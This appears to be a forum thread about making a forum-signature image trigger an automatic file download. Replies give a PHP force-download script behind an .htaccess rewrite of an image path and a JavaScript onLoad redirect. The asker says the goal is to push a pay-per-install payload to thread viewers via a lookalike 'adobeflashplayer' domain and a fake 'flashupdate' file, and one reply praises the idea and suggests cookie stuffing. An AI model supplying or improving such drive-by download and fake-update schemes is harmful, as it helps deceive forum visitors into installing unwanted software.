How would you if same one views a pic to start downloading a file?

I know how to make it if someone clicks on the pic not when they view it.
 
you will need to rewrite 1.jpg to download.php using htaccess and in download.php have this code:
PHP:
$fileurl='';//URL TO YOUR FILE
$size=strlen(file_get_contents($fileurl));
	header('Content-type: application/force-download');
	header('Content-Disposition: inline; filename="'.$fileurl.'"');
	header('Content-Transfer-Encoding: Binary');
	header('Content-length: '.$size);
	header('Content-Disposition: attachment; filename="'.basename($fileurl).'"');
	readfile($fileurl);
 
I know how to do that. , what I want is let stay I post a my pic on my my*space and some one go there it will automatally start download my file
I need to know what to put in the .htaccess that when a webbrowser reqeust my pic it automatlly start downloading the file.
I know how to make it if someone clicks on the pic not when they view it.
 
thank you!! I will try it
you will need to rewrite 1.jpg to download.php using htaccess and in download.php have this code:
PHP:
$fileurl='';//URL TO YOUR FILE
$size=strlen(file_get_contents($fileurl));
	header('Content-type: application/force-download');
	header('Content-Disposition: inline; filename="'.$fileurl.'"');
	header('Content-Transfer-Encoding: Binary');
	header('Content-length: '.$size);
	header('Content-Disposition: attachment; filename="'.basename($fileurl).'"');
	readfile($fileurl);
 
how do you rewrite 1.jpg to download.php using htaccess ?
 
Would that work for those silent install PPI's? Or would it just download it ?
 
You could do this with a simple javascript. Place the image of interest in a simple webpage. In the body tag of the page you'd just put onLoad="location.href=file2download.zip"

This way, as soon as the page loads, the download will start. No need to fool around with htaccess or php.
 
You could do this with a simple javascript. Place the image of interest in a simple webpage. In the body tag of the page you'd just put onLoad="location.href=file2download.zip"

This way, as soon as the page loads, the download will start. No need to fool around with htaccess or php.

not everyone has javascript enabled though
 
why not simply put the url of the zip as url of the picture, it will download the file also - maybe I don't see the point, but if you could tell, what you are trying to achieve, I might help - feel free to PM me if it is confidential
 
I was trying to post my pic in my sig on ez*boa*rd forum and when people view the tread it would auto start downloading my ppi
 
I see, well that's not working unfortunately, but good idea though - the problem is, it will download the ppi, BUT it will not install it - it will just download to their temporary files folder and sit there - so makes no sense, sorry. (however, you might stuff a cookie from your sig - anyway in both cases it will not display the picture at all)
 
thank you , My idea was to get a domain close to like "adobeflashplayer" and name the file flashupdate.... so noob would think it a flash update and install it
I see, well that's not working unfortunately, but good idea though - the problem is, it will download the ppi, BUT it will not install it - it will just download to their temporary files folder and sit there - so makes no sense, sorry. (however, you might stuff a cookie from your sig - anyway in both cases it will not display the picture at all)
 
Back
Top